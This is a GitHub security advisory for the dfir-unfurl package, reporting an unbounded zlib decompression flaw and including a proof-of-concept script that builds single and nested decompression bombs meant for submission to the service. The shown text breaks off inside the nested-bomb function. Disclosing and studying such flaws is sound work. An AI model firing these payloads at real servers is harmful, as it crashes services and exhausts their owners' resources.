GitHub Security Advisory: GHSA-h5qv-qjv4-pc5m
Package: dfir-unfurl (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-400: Uncontrolled Resource Consumption, CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)
Vulnerable versions: < 20260405
Patched in: 20260405

Summary: Unfurl's unbounded zlib decompression allows decompression bomb DoS

Details:
### Summary
The compressed data parser uses `zlib.decompress()` without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

### Details
- `unfurl/parsers/parse_compressed.py` calls `zlib.decompress(decoded)` with no size limit.
- Inputs are accepted from URL components that match base64 patterns.
- Highly compressible payloads can expand orders of magnitude larger than their compressed size.

### PoC
1. Generate a payload with `security_poc/poc_decompression_bomb.py --generate-only`.
2. The script creates a base64-encoded zlib payload embedded in a URL.
3. Submitting the URL to `/json/visjs` can cause the server to allocate large amounts of memory.
4. The script includes a `--test` mode but warns it can crash the service.

### PoC Script
```python
#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range